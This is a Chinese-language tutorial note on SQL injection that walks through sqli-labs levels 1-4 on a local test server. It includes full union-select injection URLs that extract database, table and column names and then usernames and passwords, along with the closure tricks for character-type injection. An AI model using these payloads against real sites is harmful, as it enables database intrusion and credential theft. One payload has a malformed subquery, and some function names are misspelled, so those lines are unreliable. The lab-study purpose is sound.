1.SQL原理分析
万能密码:sql注入的体现
核心:就是让我写出来的字符窜当成代码执行
输入 and 1=1 and 1=2 的意义是判断是否是数字类型注入。
union select 4,5,6 将数据拼接在一起。联合查询。。。需要注意:两条sql语句得到的结果字段数相同
orderby(排序)排序几个字段。一般都是先使用order by 排序然后使用union联合查询
database()显示当前数据库库名
通过这些我们就可以进行简单的sal注入的实例例子。sali-labs测试平台第1-4关
2.sqli-labs第1-4关 简单sql注入
(1)第一关
判断是什么注入类型,在页面中输入and 1=1 和and1=2 页面没有变化,得知是字符型注入。然后我们输入
爆字段
发现页面发生了变化,说明我们可以正常注入了。按照注入的流程。我们先使用order by 来判断字段,判断只有3个字段
当输入4的时候就会报错
爆显示位
使用union联合查询,可以看到在网页上只有三个字段显示。我们要在前边换成一个不存在的值或者写成and1=2 让其条件不成立,来执行后面的union
爆数据库名
我们在显示位第二位上输入databas()来显示数据库名 http://127.0.0.1/sqll/Less-1/?id=-1'union select 1,database(),3 -- qw 。我们得出了数据库名叫security。
爆表名
这时候我们用到information_schema这是一个自带数据库。我们输入http://127.0.0.1/sqll/Less-1/?id=-1'union select 1,(select table_name from information_schema.tables where table_schema='security' limit 3,1),3 -- qw 。其中要用到子查询。
爆表字段
这里要用and连接上表的名字
http://127.0.0.1/sqll/Less-1/?id=-1'union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),3 -- qw
爆数据(用户名以及密码)
使用两个limit 爆出数据
http://127.0.0.1/sqll/Less-1/?id=-1'union select 1,select( username from users limit 1,1),(select password from users limit 1,1) -- qw
(2)第二关
这一关是数字型注入。当输入and 1=1 以及and 1=2 时候发现页面变化,说明是数字型注入。其余和第一关一样不多说
(3)第三关
这一关是一个字符型注入 但是当我输入‘发现报错出现括号通过报错我们发现。他是一个')闭合注入
(4)第四关
是一个")注入